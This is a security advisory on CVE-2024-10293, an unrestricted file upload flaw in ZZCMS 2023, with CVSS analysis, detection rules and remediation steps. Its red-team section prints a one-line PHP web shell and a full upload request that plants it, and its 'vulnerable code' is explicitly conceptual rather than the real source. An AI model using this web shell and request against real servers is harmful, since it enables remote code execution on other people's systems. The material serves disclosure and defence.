CVE-2024-10293

Executive Summary

CVE-2024-10293 is a critical unrestricted file upload vulnerability in ZZCMS 2023, specifically within the Ebak_SetGotoPak function in /3/Ebbak5.1/upload/class/functions.php. The vulnerability allows an attacker to upload arbitrary files by manipulating the file argument, leading to potential remote code execution (RCE) and full server compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, making this a high-priority threat for any organization using ZZCMS.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

This vulnerability is trivially exploitable without authentication, allowing an attacker to upload a web shell and execute arbitrary commands on the server. The impact is complete loss of confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability resides in the Ebak_SetGotoPak function within /3/Ebbak5.1/upload/class/functions.php. This function is designed to handle file uploads, but it fails to properly validate the file type or path of the uploaded file. The file argument is directly used in file operations without sanitization, allowing an attacker to specify a path like shell.php or ../../shell.php to write a malicious file to the web root or any accessible directory.

The core issue is a lack of input validation and missing file extension checks. The function likely uses move_uploaded_file() or similar with the attacker-controlled file parameter, enabling arbitrary file writes. Since ZZCMS is a PHP-based application, uploading a .php file grants immediate code execution.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

function Ebak_SetGotoPak($file) {
    $target_path = "/uploads/" . $file;
    move_uploaded_file($_FILES["file"]["tmp_name"], $target_path);
}

The $file parameter is not sanitized, allowing path traversal and arbitrary file names.

Patched Code (Hypothetical):

function Ebak_SetGotoPak($file) {
    $allowed_ext = ['zip', 'rar', 'tar'];
    $ext = pathinfo($file, PATHINFO_EXTENSION);
    if (!in_array($ext, $allowed_ext)) {
        die("Invalid file type.");
    }
    $file = basename($file); // Prevent path traversal
    $target_path = "/uploads/" . $file;
    move_uploaded_file($_FILES["file"]["tmp_name"], $target_path);
}

A proper patch would whitelist allowed extensions, use basename() to prevent path traversal, and validate the MIME type.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy ZZCMS 2023 on a local server (e.g., XAMPP or Docker).
2. Ensure the /3/Ebbak5.1/upload/ directory is accessible.

Exploit Steps:

1. Craft a malicious PHP web shell (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Send a POST request to the vulnerable endpoint:

   POST /3/Ebbak5.1/upload/class/functions.php HTTP/1.1
   Host: target.com
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
   
   ------WebKitFormBoundary
   Content-Disposition: form-data; name="file"; filename="shell.php"
   Content-Type: application/x-php
   
   <?php system($_GET['cmd']); ?>
   ------WebKitFormBoundary--
   

3. Access the uploaded shell at http://target.com/uploads/shell.php?cmd=id.

Blue Team

Detection:

• Monitor for POST requests to /3/Ebbak5.1/upload/class/functions.php with unusual file extensions (e.g., .php, .phtml, .asp).
• Alert on file uploads to directories outside the intended upload path.
• Use file integrity monitoring (FIM) to detect new or modified PHP files in the web root.

Mitigation:

• Immediately restrict write permissions on the upload directory.
• Implement a Web Application Firewall (WAF) rule to block file uploads with executable extensions.
• Disable the vulnerable function or module until a patch is applied.

Indicators of Compromise (IOCs)

• File Paths:
  • /3/Ebbak5.1/upload/class/functions.php (vulnerable script)
  • /uploads/shell.php (common webshell location)
  • /uploads/*.php (any PHP file in uploads)
• Network Patterns:
  • POST requests to /3/Ebbak5.1/upload/class/functions.php with Content-Type: multipart/form-data
  • HTTP requests to /uploads/*.php?cmd= (command execution)
• Log Entries:
  • Apache/Nginx access logs showing POST /3/Ebbak5.1/upload/class/functions.php
  • PHP error logs with move_uploaded_file() warnings

Detection Engineering

YARA Rule

rule CVE_2024_10293_Webshell {
    meta:
        description = "Detects webshells uploaded via CVE-2024-10293"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $cmd_param = "$_GET['cmd']"
    condition:
        $php_tag and $system_func and $cmd_param
}

Sigma Rule

title: CVE-2024-10293 Unrestricted File Upload
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2024-10293 via file upload
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/3/Ebbak5.1/upload/class/functions.php'
        cs-content-type: 'multipart/form-data'
    condition: selection
falsepositives:
    - Legitimate file uploads (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10293 Unrestricted File Upload Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/3/Ebbak5.1/upload/class/functions.php"; http.content_type; content:"multipart/form-data"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the vulnerable Ebak_SetGotoPak function or the entire /3/Ebbak5.1/upload/ module.
   • Remove any suspicious files from the uploads directory.
   • Review server logs for signs of compromise.

2. Long-term Fix:

   • Apply input validation and sanitization to the file parameter.
   • Implement a whitelist of allowed file extensions.
   • Use basename() to prevent path traversal.
   • Store uploaded files outside the web root and serve them via a download script.

3. Monitoring:

   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Enable file integrity monitoring on the web root.
   • Set up alerts for unusual file upload patterns.

Valters IT
Securing Digital Frontiers